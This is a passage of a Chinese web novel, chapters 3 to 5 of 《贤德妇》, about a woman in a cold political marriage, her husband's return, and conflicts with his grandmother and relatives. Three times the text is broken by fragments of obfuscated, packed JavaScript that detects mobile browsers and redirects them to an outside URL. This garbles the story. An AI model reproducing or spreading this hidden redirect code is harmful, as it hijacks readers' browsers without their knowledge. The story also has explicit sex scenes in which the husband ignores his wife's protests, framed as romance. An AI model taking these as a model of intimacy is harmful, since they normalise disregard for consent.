《贤德妇》 3. 第 3 章 “醒了?”裴翊说道。 似乎是察觉到她身体的骤然僵硬绷紧,将沈若宓在床上放下后,裴翊坐在床边,沈若宓靠在枕上,两人谁都没有再说话。 夫妻相对无言。 一年多前,沈若宓怀孕没多久,大约是刚三个月的时候,裴翊便去了蜀地平蜀王之乱。 他这一去便是十八个月,回来时菱姐儿都满周岁了。 彼时,沈若宓也不过是个刚嫁进裴家三个月的新妇。 眼前这个男人除了新婚之夜匆忙瞥下的那一眼,余下的日子她几乎全都用来打起精神应对这个她完全陌生的家族与生活环境,以及防备那些不时朝她身上射来的明枪暗箭。 至于裴翊,他对她是没有任何的感情,但至少看在她这正妻的颜面上,在她刚嫁进来的这三个月倒是每逢初一十五与节日都会宿在她的房中。 哦,也没娶小老婆。 她还知道,至少一年之内她生不出男孩,太夫人和嘉善长公主都不会逼着她给裴翊纳妾。 原因当然不是裴翊爱重她,而是看在沈家和她盛宠六宫的皇后姑姑的面子上。 政治联姻不需要感情,他们的婚姻只是用来稳固维系彼此家族的工具。 本朝虽然是以科举取士,但寒族想要出人头地依旧是难上加难,概因大量的资源仍然掌握在贵族手中,朝中绝大部分的官员都出身士族。 因而沈家寒族的出身也使得沈皇后在朝中备受攻讦,令皇后颇为头疼,直到她在宫中看见了嘉善长公主与定国将军之子,那丰神俊朗的青年裴翊。 裴家乃是皇亲国戚、百年的簪缨贵族,若能成为裴家宗妇,生出一个裴氏嫡子,皇后便是不费吹灰之力得到了士族之首裴氏的支持。 届时有自己的侄女婿拥护,朝中安有人敢再小觑沈家? 裴翊年轻力壮,嫁过来没多久沈若宓便发现自己有了身孕。 只是她还没寻到机会告诉她的丈夫,四川的蜀王突起暴乱,兴启帝命裴翊前去协助平叛,他这一去便是将近两年的光景。 原来相处的时间便是屈指可数,连样貌都没记住,再见时女儿都满周岁了,这夫妻俩如何能不如陌生人般默然无言。 实在是想说话。也不知说些什么好。 “大爷可要去看看菱姐儿?”沈若宓说。 “看过了,来时她便已睡下,不必再吵醒她。” 这话说完,两人又是一阵沉默。 这也没什么意外,在裴翊的眼中,他的妻子似乎一直都是个讷言寡语之人。 相比之下,他的话也不多,两人相处时多半乏言可陈,直奔主题居多。 至于主题—— 裴翊抬眸。 影影绰绰的昏黄灯光下,妻子的面庞白净如玉,眼角带着淡淡的疲惫之色。 “夫人,安置吧。”他说道。 雪茜松了口气,轻轻吹灭了灯。 沈若宓躺在内侧,这会儿她却无论如何也睡不着了。 好在,她担心的事情并没有发生。 奔波多日,裴翊大约也极为疲倦,二人没有直奔主题,躺下后没多久她便听到了他绵长的呼吸声,连身都没翻一个。 至此,她才算是彻底松了一口气,也随之沉沉睡去。 …… 胸口像被压了一块大石,重得人喘不动气。 沈若宓嘤咛一声,身体不由自主地挣扎。 直到意识清明的那一刻,她终于听到耳旁男人那急促火热的喘.息声。 怀中绵软的身子迅速变得僵硬紧绷。 裴翊一顿。 他沉默了。但仍旧维持着先前的姿势,也一动不动。 只是,男人身体那剑.拔.弩.张的态势,却实在叫人难以忽视。 这不上不下的,沈若宓极是尴尬…… “大爷。” 她强作镇定地开口。 下一刻,裴翊便压了上来 。 在经过了一夜休整后,男人重新恢复了精力,充沛的体力尽数发泄在了沈若宓的身上,除了他的粗鲁叫她略有些吃痛外,他那干净利索、面无表情撕她衣服的模样,竟叫她心跳加速的害怕。 窗边露出一丝鱼肚白,熹微的晨光射入正剧烈摇晃的纱帐中。 沈若宓死死地咬着唇。刚开始她是不敢叫人听到屋内那些暧.昧的声响,心里默默地一遍遍数着数,乞求着男人快些结束。 偏偏男人的耐力极是强悍,磋磨得她香汗淋漓,头目森然、就是不肯结束,到最后她咬着唇是生怕自己哭出声来。 就在她快要撑不住的时候……终于,他长舒了一口气,从她的身上下来。 骨头像是散架般的疲惫。 沈若宓睁开眼,借着帐子的缝隙看向窗外。 竟然天这样亮了。 她得起床了。 沈若宓心里叹了口气,睁开困顿的双眼从他健硕的臂中撑起身来,飞快地穿衣。 裴翊也睁开眼,皱了下眉。 他仍旧保持沉默,视线掠过她泛红的肌肤,她披在身前的如瀑长发若隐若现地遮掩着胸口的春光,露出半截纤细的雪肩。 扭头找衣服时余光瞥到他的注视,沈若宓立即拉高了被子去挡。 “起这么早做什么?” 裴翊收回目光,闭目问。 “天色不早了,我该起了。” “你平日都起这么早?” “是。” “今日不必早起。” “……” “大爷先睡吧,我去看看菱姐儿。” 就这个问题,她都懒得回应他。 沈若宓费力去抓被他丢到床尾的中衣,腰臀处却蓦地传来男人掌心粗糙的摩挲感。 产后,她不可避免地丰满了些,这一年减下来,腰身处才终于重新纤细若未出阁的少女。 沈若宓不明白他什么意思,以为他要对她说什么,转过身去看他。 裴翊坐起了身。 他虽是文臣,臂膀处的块头却很是宽阔,这一坐起来更是比她高出了半个头不止,在狭小逼仄的架子床里充满了压迫感。 四目相对,男人眼底沉沉,翻涌着如惊涛骇浪般的情.欲。 沈若宓心一跳。 此时再逃却来不及了,那只揽在她腰间的手突然收紧,将她向后一带。 天旋地转,她竟整个人都被带着砸在了床上,根本起不来,接着她的小腿便被握着高高抬起。 这是白天…… “你别……”她连忙惊慌失措、羞耻地想去把腿蹬下去。 然而话音未落,便被急贯碾碎。 绣着的红鸳鸯戏水的纱帐又重新摇晃了起来。 与一刻钟前的疾风骤雨不同的是,这一次摇晃的速度不紧不慢了。 …… 周嬷嬷在房门前听了片刻,老脸有些红。 她咳嗽了一声,想到太夫人的话只得厚着脸皮敲响了房门。 “咳咳……大奶奶,太夫人有事唤你过去。” 沈若宓按着男人的肩。 她想让裴翊停下来,却被他顶的浑身使不出半分力气,也说不出一句完整的话,索性也懒得动了,用双手扒着他的肩膀任他为所欲为。 周嬷嬷见没人回应她,担心被太夫人责怪,又硬着头皮敲了好几声门。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283607|198375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 沈若宓下床穿衣,听到裴翊也下了床。 她回头去看,虽然已经看过多次,仍是被男人后背上的东西骇了一跳。 自她嫁给他之时,裴翊的后背便纹了一条龙身鸟首的怪物。 这纹身约莫有成年男人的手掌大小,近似三角状的眼珠子镶嵌在黑黢黢的眼眶上,眼神看起来冷峻凶狠,一只前爪顶在他的左肩膀处,蛇一样修长的尾巴一直蔓延到他的腰窝里。 应该是是某有特殊含义的图腾。 每次看见这诡异丑陋的纹身,沈若宓觉得神魄都要被它的眼睛攫住了,遍体生出毛骨悚然之意。 她不明白裴翊这种出身高贵的世家贵族怎么会在自己的身上纹京中游侠和不务正业的纨绔才会纹的纹身。 “大爷,既然太夫人不舒服,我就先过去伺候了。” “我与你一起去。” 好兴致被惊扰,裴翊脸色想来也好看不到哪里去。 他打开房门,倒把周嬷嬷惊得唬了一跳。 “祖母怎么了?”裴翊问。 周嬷嬷尴尬地笑,目光在房内逡巡着沈若宓的身影。 “老太太身体有些不适……以往都是大奶奶伺候老太太,今天一直没看见大奶奶过来,奴婢斗胆来请,不想惊扰了大爷……” 裴翊脸色更加严肃,此时沈若宓也穿戴整齐,两人遂一齐来到了春华堂看望太夫人。 太夫人当然没事,她就是想找点事给沈若宓干。 横竖自己觉少,那沈若宓也别想大早上还有赖床睡懒觉的机会。 夫妻两人进门的时候,她正站在屋檐下逗两只雀鸟,一边逗鸟一边口中责骂沈若宓对她偷懒怠慢,看那精气神丝毫不像是周嬷嬷口中不适的模样。 察觉到裴翊投来的目光,周嬷嬷哪里还敢与裴翊对视,连忙上前扶住了太夫人给她使眼色道:“太夫人,您不是一早上就嚷嚷着头疼吗,怎么这会又下床来了,大爷和大奶奶听说您不舒服,立马就过来看您啦!” 太夫人见到大孙子过来,对沈若宓的不满立马抛之脑后,笑逐颜开。 待裴翊扶着她坐下后,她才拍着裴翊的手道:“昨夜回来的那样晚,怎么不多睡会儿,横竖这两日你都没有差事!都怪这老婆子小题大做,我本没什么事,她非说你媳妇知道我的头风药放在了何处,要去找你媳妇,等了许久都没见她的人影,我说今日大约是你回来,有你撑腰,她才敢备懒了!” 太夫人像开玩笑似的说,余光瞥见沈若宓脸上那未散的春色与疲惫的眼神,心想怪道她今早来晚了,有了男人的滋润,这小蹄子比平日里看着还要娇媚了,险些咬碎一口银牙! 沈若宓此时还在站着,裴翊给她使了个眼色,她也就心安理得地坐下了。 裴翊说:“她昨夜不舒服,是孙儿让她多睡会儿的,祖母莫怪她。” 太夫人皮笑肉不笑道:“我哪里敢怪你媳妇,就是开个玩笑罢了,你倒是先护上了!” 詹茗薇也来了。 太夫人便叫人传膳,用完早膳后,太夫人说道:“翊哥儿媳妇,茗姐儿初来乍到的,身上也没带几套衣服过来,你跟周嬷嬷去库房,挑几块好料子给你表妹置办几身衣服吧。” 裴翊瞥向沈若宓。 沈若宓仍旧是她那副温柔恭顺的态度,起身说了声是,便跟着周嬷嬷离开了。 她刚走,太夫人却重重地叹了口气。 “姑祖母可是有不顺心的事,怎么一大早就叹气?”詹茗薇连忙关切地询问。 “还不是翊哥儿这新媳妇,”太夫人说道:“都说娶妇娶贤,娶到沈氏这样的妇人,当真是与贤良淑德毫不沾边!” 4.第 4 章 想当初,太夫人百般不满裴沈两家的这门亲事。 与沈家而言,自然是一本万利的好买卖,一个政治暴发户出身的寒族,只要嫁出去个女儿就能成为裴氏的姻亲。 来日沈若宓若生下有裴沈两家血脉的儿子,那他裴家宗子的高贵血脉岂不是从此就要被这些低贱的寒族给玷污了? 在如今的这个时代,良贱不通婚的陈腐思想虽早已远去,许多守旧的高门贵族却固守坚持着老祖宗传下来的规矩。 兴启帝与沈皇后,便是一个鲜明的例子。 在嫁给兴启帝之前,沈皇后便早早在桃李之年嫁人守寡已是皇室众人秘而不宣的事实,太夫人与那些顽固的守旧派大臣一样看不起沈皇后的出身。 这新妇生得普通些便罢了,要命的是她偏又生得与沈皇后一样的妖娆美艳。 是以太夫人坚信,纵使沈若宓自嫁进裴家平日里言谈举止再端庄一丝不苟,装得再贤良淑德,也改不了和她姑姑一样骨子里浪荡下贱的毛病。 这要是闹出什么人尽皆知的丑事来,她的脸面裴家的脸面还要不要了? 尤其是沈若宓刚嫁进门没多久便生下了菱姐儿,可见其身体康健,这要是让她再生下儿子,不更得骑到她头上去作威作福了? 总而言之,太夫人说的这些无非是说暗指沈若宓好吃懒做,怠慢不敬她,让她新媳妇每日晨昏定省,她多半是赖在床上挺尸装睡。 这也罢了,后又提到沈若宓不孝,屡次忤逆她的意思,说有回她让沈若宓将菱姐儿送到春华堂,沈若宓却以为菱姐儿不舒服为由断然拒绝了她。 “我是菱姐儿的亲祖母,我想见自己的孙女有错?她一个新媳妇竟然还敢忤逆我,不过就是仗着自己有个皇后姑姑撑腰!”太夫人气呼呼地道。 裴翊放下手中的茶盏。 “祖母,孙儿还有些事,先走了,改日再来探望您。” 太夫人略有埋怨:“孝均,你昨日才刚回家,今日应当休息才是,陛下怎还让你去忙?” “大理寺每日积压着不少案子,等不得人,日后孙儿有时间,一定再来陪祖母。” 太夫人叹气道:“你每回都这样说,也不能一心扑在这些案子上,总要陪陪自己的家人吧?罢了……说也无用,再陪祖母一刻钟吧!” 裴翊遂坐了回去。 大约是时间不够,太夫人也就没再去抱怨沈若宓了。 “孝均,茗姐儿小你七岁,我记得你有茗姐儿这么大的时候,她还同她祖母来过将军府,那时候她总跟在你后面叫大表哥,没想到一转眼,茗姐儿都快要及笄,成大姑娘啦,还出落得这般标致!” 詹茗薇闻言脸一红,忙羞涩地垂下了脸儿。 太夫人看着璧玉一般般配的两人,又笑着叹了口气:“茗姐儿爹娘去世的早,若有机缘,我是当真想将你这好孩子长长久久地留在身边。” 詹茗薇跪到太夫人面前磕头道:“若不是姑祖母,茗儿这辈子只怕再也无法得见至亲,要被继母强嫁给她的侄儿,姑祖母的恩德,茗儿永世难报,愿意一生不适人,自梳服侍在姑祖母的身侧!” 太夫人连忙扶起詹茗薇,又惊又怒道:“这吴氏竟要强迫你嫁给她那侄儿?孝均,可是确有其事?!” 詹茗薇的丫鬟碎玉琼脂赶紧在一旁连连附和,还将那吴氏的侄儿形容得奇丑无比、人品低劣,压根配不上她们仙子一样知书达理的小姐。 裴翊瞥了一眼詹茗薇。 詹茗薇自是哭得梨花带雨,只是不知为何,她有些害怕裴翊那双仿佛洞彻人心的凤眼,在他看过来时飞速移开了自己的视线。 - 沈若宓去芳菲馆打开了自己的库房,领着周嬷嬷在库房转了一圈,周嬷嬷都不甚满意。 “大奶奶,怎么不见大爷从蜀地带回来的那匹浮光锦?太夫人说咱们表姑娘身段好,最好是能用浮光锦为表姑娘裁一身新衣服,我记得昨日大爷给家里分了三匹浮光锦,一匹就送到了芳菲馆。” 周嬷嬷笑眯眯地说着,实则是意有所指,要沈若宓将这匹浮光锦拿出来给詹茗薇做衣服。 雪茜忍不住提醒:“周嬷嬷,这匹浮光锦是我们大奶奶的分例,是大爷特意捎给大奶奶的!” 浮光锦工序繁复,采用手工蹙金,绞经织造,且料子轻薄,染色不褪,光泽炫目,在阳光下犹如水面浮光跃金之感,故得名浮光锦,因而珍贵异常。 这次裴翊从蜀地共带回来七匹浮光锦,其中四匹皆送去了宫中御用,余下的三匹也不够分给其余各房,索性只分给了嘉善长公主、太夫人与沈若宓。 二房与三房分到的便是杭锻与蜀绣,虽说比不得浮光锦难得一见,到底也是御贡的名贵之物,连詹茗薇都分到了一匹蜀绣。 周嬷嬷听了却淡淡道:“太夫人与长公主皆是长辈,难不成要让长辈把东西让出来给小辈?大奶奶可别忘了,你是宗妇,照拂孤幼的亲戚合该是你的分内之事,如此还能博一个贤良的名声,这便不需要我这老婆子去教了吧?” “分内之事,嬷嬷也不瞧瞧那是谁家的表姑娘来打秋风,同我们姑娘有八竿子的关系,凭什么要让她去管,太夫人既不舍得自己的浮光锦,做什么要打肿脸充这个好人!” 真真是偏心眼偏到东洋大海去了! 雪茜实在没忍住嘀咕道。 “放肆!” 周嬷嬷闻言却勃然色变,指着雪茜的鼻子道:“大奶奶,你休怪我老婆子多嘴,你身边这丫头当真是个无法无天的,竟在私下如此非议老太太和表姑娘,这是裴家,不是你沈家!” 沈若宓说道:“嬷嬷放心,一匹浮光锦而已,我会命人送到荷香居去,保管叫表姑娘满意。” 周嬷嬷这才脸色稍缓了些,“还是大奶奶明事理,如此,我便都交给大奶奶了。” 临走前还不忘瞪一眼雪茜,又被雪茜气恼地瞪了回去。 “大奶奶何必委屈自己,我看太夫人和周嬷嬷纯粹就是为了恶心你,你看那个表姑娘瞅我们大爷的眼神,羞答答的恶心死了!”雪茜叫道。 连一向话少稳重的素娘都担忧地说:“话糙理不糙,我看老太太八成是想撮合詹氏与大爷,姑娘你不能不防,我听说詹氏还有不到半年就要出孝期及笄了。” 待回了屋,两仆都劝沈若宓。 沈若宓回想起詹茗薇看裴翊的眼神。 詹茗薇是裴翊的表妹,裴翊素来孝顺,如果太夫人要求裴翊纳詹茗薇,詹茗薇身世可怜,裴翊难保不会动了恻隐之心。 纳妾事小,棘手的,詹茗薇却是太夫人的亲戚…… 潘氏来了。 裴翊的三弟裴少廉娶妻东阳潘氏,韩国公潘茂的孙女潘宝珍,裴潘乃世交,沈若宓嫁进裴家不久后,裴翊的二弟裴子衡与裴少廉都陆续娶妻。 潘宝珍五个月前新进门,沈若宓跟她并不熟,无事不登三宝殿,沈若宓让人将潘宝珍请了进来。 潘宝珍年轻好打扮,相比起裴子衡之妻崔氏与沈若宓,她身上穿的衣服戴的首饰无不精致名贵。 两人聊了片刻,潘宝珍忽笑道:“大嫂,这次大伯从杭州和蜀地带回来不少蜀绣与杭绣,料子自然都是上乘,可说句托大的话,这些料子我从前未出阁在韩国公府见多了,倒是听说大嫂手中有一匹来自蜀地的浮光锦,穿上它在日光下犹如浮光跃金一般好看,我看大嫂你平日里也不好打扮,留着这匹浮光锦岂不是暴殄天物,不如将它借给我一用,我屋里的首饰随大嫂你挑选!” 沈若宓说道:“那不巧,这匹浮光锦我已借出去了,三弟妹若是喜欢,可以去我库房看看别的料子。” 潘宝珍脸色就有些难看,“大伯昨日才回来,这料子借出去的倒快,不知是借给了谁?” “詹表妹。” 潘宝珍一愣。 片刻后,她皮笑肉不笑地道:“大嫂,好好的料子你还能拱手让给了一个打秋风的远房亲戚,难不成詹表妹还好意思亲自上门来找你讨要?你若是不想给我,直说便是。” 在潘宝珍看来,她丈夫是大爷裴翊的亲兄弟,她要无可厚非,詹茗薇初来乍到,她怎么敢直接问裴家的宗妇伸手要浮光锦,还要脸不要? 要么就是沈若宓不想给她浮光锦来搪塞她的借口,要么就是沈若宓为了讨好太夫人和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286994|198375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴翊,主动送了浮光锦给詹茗薇。 沈若宓皱起了眉,但她依旧神情淡淡的 “确实如此,三弟妹若不信,我也没办法。” 嫁进来的这几个月,都说大奶奶沈若宓最是温柔贤德,连对太夫人的刁难都能做到以德报怨,但潘宝珍却总觉得—— 她看不透沈若宓,这个女人就像根木头一样木,像冰块一样冷。 潘宝珍一拳就像打在了棉花上,冷哼一声怒气冲冲地走了。 “我瞧那三爷也是个知书达礼的郎君,怎么这三奶奶如此厚颜!”素娘也有些愤怒。 雪茜小声说:“一个被窝睡不出两种人,我看素娘你这次八成是看走眼了。” 素娘叹气,“这也是你一个未出阁的小丫头该说的话?” 雪茜吐吐舌头。 晌午饭沈若宓自己一个人吃的,到了晚间,素娘提醒沈若宓,“大奶奶,从前大爷在家的时候,你总会给他送一碗汤,我看天色不早了,今日还要不要去送?” 沈若宓握着笔的手一顿。 她看向一侧正在玩的女儿菱姐儿。 菱姐儿刚出生的时候差点难产,那时候刚生出来,小小的像只猴子似的,如今满了周岁,王奶娘的奶好,小丫头被养得胖的白白的。 和母亲对上眼,乐的她屁颠颠地冲沈若宓跑过来了。 这孩子跑起来还不太利索,跌跌撞撞凑到沈若宓面前拽她的裙摆,咯咯得笑。 沈若宓把菱姐儿抱起来,轻轻抚摸女儿头顶稀疏的几撮头发。 小时候她曾经问过母亲褚氏,为何她的父亲自她出生之后就音讯全无,从未来看过她们母女,她的母亲还会每天都在家门口痴痴等待他的到来。 那时褚氏愣了一下,随后苦笑着道:“你爹爹答应过我的,我信他。他若来,我自然欢喜,他若不来,我也不恨他啊……” “你爹也是身不由己,年年,不要恨你爹。” 直到两年前来到京城之后她才知道,哪有什么身不由己,她的姑姑刚在一片骂声中成了大周尊贵的皇后娘娘。 而她的父亲沈继宗也早就另攀高枝,娶了长兴侯耿顺德的女儿耿氏为妻,在岳父的帮助下在官场上平步青云、如鱼得水。 只有她可怜的娘和她这个糟糠原配生的女儿被他们沈家人遗忘在了青州老家。 沈若宓说:“今天太晚了,你去送吧,我想歇歇。” 素娘有些担心,她总觉得沈若宓变成现在这样不是什么好事。 她从小就跟在沈若宓和褚氏身边伺候母女两个,从前的沈若宓是个敢爱敢恨,绝不肯任人欺辱的泼辣性子。 在初到京城时,她就敢提着把菜刀只身闯入沈家认亲,说“今日我沈年年死了,明日你沈继宗抛弃糟糠之妻逼死亲生女儿的事迹就会传遍整个京城”。 彼时沈皇后初登后位,朝中许多大臣对她不满,就等着揪住沈家的错处。 沈继宗怎么敢赌,让这样的流言传出去,那沈皇后非得剥了他的皮不可。 就连如今回门,沈继宗夫妻和他的几个女儿们都要忍怒看沈若宓的脸色。 后来不知道皇后究竟跟沈若宓说了什么,竟说动她肯改名嫁进裴家。 从前乡野间长大的明媚少女,如今嫁为人妇后却只能囿于深宅,成了他人口中称颂的贤德之妇,再无放出半分曾经的模样,实在叫人毛骨悚然。 素娘只好劝沈若宓道:“姑娘,我知道你心里不舒服,但大爷既然回来了,他一向明断是非,定然会给咱们撑腰的,不妨你告诉大爷,或许事情还有转圜的余地,否则被太夫人和三奶奶这般逼迫着夹在中间,任是谁也受不了这个委屈。” 告诉裴翊? 沈若宓自嘲一笑。 她摆摆手,“素娘,你快去罢。我累了。” …… “大爷,奶奶打发丫鬟来给你送了汤来!” 书房里,裴翊的小厮阿松笑着将那食盒打开,从里头端出来一碗热气腾腾的暖汤。 是一碗乌鸡汤。 裴翊瞥了一眼。 又是他最讨厌喝的乌鸡汤。 5.第 5 章 如果不是了解沈若宓的为人,裴翊都要以为她是故意的。 不过,他也懒得去说,毕竟是她一片心意。 等乌鸡汤凉了,就倒进了阿松的肚子。 也不算浪费。 夜色渐渐深了,裴翊望了眼窗外,终于合上了那沓厚厚的卷宗,吩咐阿松去取了东西,随后去了芳菲馆。 芳菲馆中,沈若宓正在给菱姐儿喂奶。 这孩子今天在外面玩丢了个她喜欢的小玩具,就一直闹脾气,非要沈若宓抱着她哄。 抱着抱着,奶瘾犯了,又嗲声嗲气地求沈若宓给她喂奶。 其实沈若宓早就没奶了,生完菱姐儿后她心情烦闷,大约是因着这个缘故,奶就渐渐没了。 裴翊听见里头静悄悄的,绕过屏风进到内室时,正看见他的妻子抱着菱姐儿坐在床边,敞着衣襟在给菱姐儿喂奶。 周围没人,只有孩子吮吸时发出细微的“砸巴”声。 她的表情放空,人看起来就有些呆滞,身上只穿了件单薄的白绸衣,上面绣着素淡的玉兰花,料子轻薄,风一吹勾勒出窈窕的曲线。 头发是简单地用一根玉簪挽着,在灯光的映衬下,周身仿佛笼罩着一层淡淡的圣洁的光晕。 除了,胸口那两抹高耸的雪峰白得刺眼,叫人的目光不由自主地便率先落了上去。 白日里她的妆容与穿着都是端庄得体,无可挑剔,说话也是轻言细语,语气淡淡。 与新嫁进来的两个弟媳崔氏潘氏不同的是,她似乎从来不追求衣衫繁复华丽,反而过分地端庄矜持了,就连在床上敦伦之时,都喜欢紧紧咬着唇瓣一声不吭。 无趣得很。 沈若宓无意扭头,天色晚了,她模模糊糊看见一个男人站在屏风旁,吓得连忙掩住衣襟,险些失声叫出来。 “是我。”裴翊说道。 说完,他转身走了。 沈若宓松了口气,转念又想到不知道他站那儿看了多久,心里膈应。 她整理好衣服。 小衣有些紧,已经做大许多了依旧勒得她疼,自从怀孕之后胸如灌水般飞涨,明明腰身依旧纤细,这般看着人却显得壮实不少。 她叹了口气,抱着菱姐儿走出来。 菱姐儿大大的眼睛看着裴翊,舔了舔嘴角的口水。 裴翊伸手想去抱菱姐儿,菱姐儿没见过爹爹,害怕地把脑袋藏在了母亲的胸口里,只探出一双琥珀色的大眼睛来。 “那是爹爹。”沈若宓柔声说。 菱姐儿摇头。 “罢了,不认识便不认识吧。” 裴翊从袖中取出一只锦盒,这里面装的是一枚刻着菱姐儿生辰八字,雕刻成兔子形状的金锁,金锁背面雕刻着蝙蝠与祥云。 菱姐儿属兔。 沈若宓明白了,这大概是裴翊送给女儿的周岁礼物。 他把金锁递给沈若宓。 摸着倒是沉甸甸的。 沈若宓戴在了女儿的小脖子上。 菱姐儿好奇地摆弄着脖子上的金锁,抬起头瞅向眼前的男人。 没什么表情,看起来也冷冷的。 菱姐儿还是害怕。 “我不在家这段时日,你过得如何?”裴翊问。 沈若宓说:“一切都好,多谢大爷记挂。” “是吗。” 就因为过得太好,所以从他一年多前离家到昨日,一封信都没给他写过? 裴翊顿了一下,继续问:“也没有人让你受委屈?” “都是一家人,上牙还有磕绊下牙的时候,摩擦是有,委屈却当真没有。” 沈若宓的回答,滴水不漏,就连语气都是一如既往的淡而柔。 分明在白天,她刚被太夫人刁难过。 裴翊知道,自己家中,母亲嘉善长公主笃信佛教,性格孤僻,一天到晚都待在佛室中,她不屑于去欺负自己的儿媳妇。 太夫人却不同,她年长,又一直不喜这门亲事,而二房三房的几个婶婶,也都是看着祖母的脸色行事。 除此之外,裴家新进门的这两个弟媳,他今早也见过了。 崔氏瞧着倒是知书守礼,那个潘氏却一眼看去就不是个善茬。 “这里除了菱姐儿,只有你我夫妻二人,你有话可以与我直说。” 裴翊看着沈若宓。 他的眼神里面,多了审视的味道。 沈若宓依旧答道:“没有。” “好,时候不早了,去睡吧。”裴翊说。 也许是他多心,沈氏贤淑,只是不愿将受委屈的事说出来而已。 半响,裴翊叫来奶娘,抱走了菱姐儿。 他站在床边换衣服,是背对着她,沈若宓又看见他后背那条骇人的怪物。 偏他又叫她过去帮他更衣。 “夫人,过来帮我更衣。”裴翊说道。 沈若宓只好走过去,拿起放在衣槅上的亵衣,穿好两只袖子,来到他面前。 眼前这具高大的男性躯体,是与他那张脸不相符的强壮,略黑,劲瘦的腰线,微隆的肌理像一座座小山丘,蕴含着强大的爆发力。 昨夜她已深深领教过。 眼前的男人,很有压迫感。 这恐怕来自于他常年断案的经历。 在嫁给他之前,据说他每日早出晚归,每年要断近一万五千件案子。 沈若宓还特意给他计算过,倘若裴翊每天都不休息的话,一天都要断四十一件案子。 偏偏经由他手决断的这些案子,从未有人提出过异议。 沈若宓低着头,刚牵起两条衣带,忽地被他一把攥住手腕。 “夫人。”他慢慢说道。 沈若宓抬起头。 男人漆黑的瞳孔深不见底,里面倒影出她的影子,越看,越像他后背的那道纹身一般邪恶渗人。 …… 在她察觉出来欲要逃脱之前,裴翊扯掉了她腰间的系带,将她压在了床上。 “关灯,大爷,关灯。” 沈若宓下意识地捂住自己的衣襟,还在做着最后的挣扎。 她又在强装镇定,那打颤的嗓音却将她此刻的紧张显露无疑。 裴翊无视她的哀求。他并没有剥光她身上所有的衣服,只是将那身柔嫩的肌肤尽数坦露在明亮的灯光下,如同她敞开衣襟喂菱姐儿时那样。 轻薄的衣衫包裹着丰润高耸的雪肌,这种若隐若现却又任君采撷的模样,反而比她不着寸缕时更加娇媚诱人。 裴翊俯下身去。 白天没做完的事情,终于在这一刻圆满。 …… 许久不见,两人都颇为情动,几乎算是自成婚以来最相谐的一次。 事后沈若宓浑身香汗湿透,懒懒靠于他的怀中。 “这段时间,你一直在亲自喂菱姐儿?”裴翊突然问。 他的语气也带着事后的喑哑慵懒,听起来没那么冷淡严肃了。 然而沈若宓却是一怔。 她瞬间警惕了起来。 裴翊果然看见了。他这么问,大概是不喜欢她亲自哺乳菱姐儿,那样会让她的身材走形。 沉默了片刻,她解释道:“没有,一直都是奶娘在喂,只是今日菱姐儿嘴馋……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291460|198375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嗯,怪不得没有奶。”他神色如常地评价道。 沈若宓瞪大双眼。 原来他适才那样,是在试她还有没有…… 无耻! 她的脸几乎是尴尬得瞬间涨红,却只能当做没听见一样闭上了眼,期盼着他赶紧睡着了,别再来折磨她。 别的事倒还好说,不管是太夫人、潘宝珍还是詹茗薇的刁难,忍忍无视也就过去了。 唯有这夫妻床帐中事,叫她实在难以忍受。 每每他宿在她的房中,两个白天说话基本不超过五句话的人,在这狭小密闭的空间里坦诚相对,肌肤相贴,做着最亲密的事。 有时候还不止做一回,甚至要两回,三回…… 每折腾一回都要出一身汗,累得她气喘吁吁,最最重要的是第二天早上爬不起来…… 裴翊却还不困,也不累。 他的手抚上她的肩,粗粝的指腹滑过掌下细滑的肌肤,再缓缓向下滑去,隐含某种挑.逗的意味。 沈若宓一直闭着眼,好像是因为太累睡着了。 但裴翊知道她没睡。 “夫君,明日我还要早起,睡吧?” 她按住他的手。 裴翊已经架起了她的腿。 “很快。”他喘着粗气道。 “那吹了灯吧!” “……” 菱姐儿就住在一侧的西厢里,晚上是两个奶娘、素娘和雪茜轮流陪着她睡觉。 平日里沈若宓管家忙,陪着孩子的时间也少,这孩子懂事,不见面就罢了,只要一看见沈若宓就喜欢黏着她,晚上睡觉的时候却会乖乖地跟着下人回自己的房间,极少有闹腾的时候。 她哇哇大哭的声音传入了沈若宓的耳中,沈若宓心一跳,赶紧去推身上的裴翊。 “大爷,起来吧,菱姐儿哭了!” 裴翊正弄到要命处,哪里停得下。 他不想理会,直接摁住她挥舞的臂。 奈何沈若宓总挣扎,孩子哭声又尖锐刺耳,只得草草了事。 沈若宓说了声抱歉,披上衣服便出去看孩子了。 片刻后,裴翊也穿好衣服。 走到西厢门口,沈若宓正抱着菱姐儿在床上哄,他问怎么回事,奶娘答道:“大姐儿晚上做了噩梦。吵着要找大奶奶。” 裴翊颔首。 他没有进门,一直在门口看到菱姐儿在沈若宓怀中不哭闹了,才提步离开。 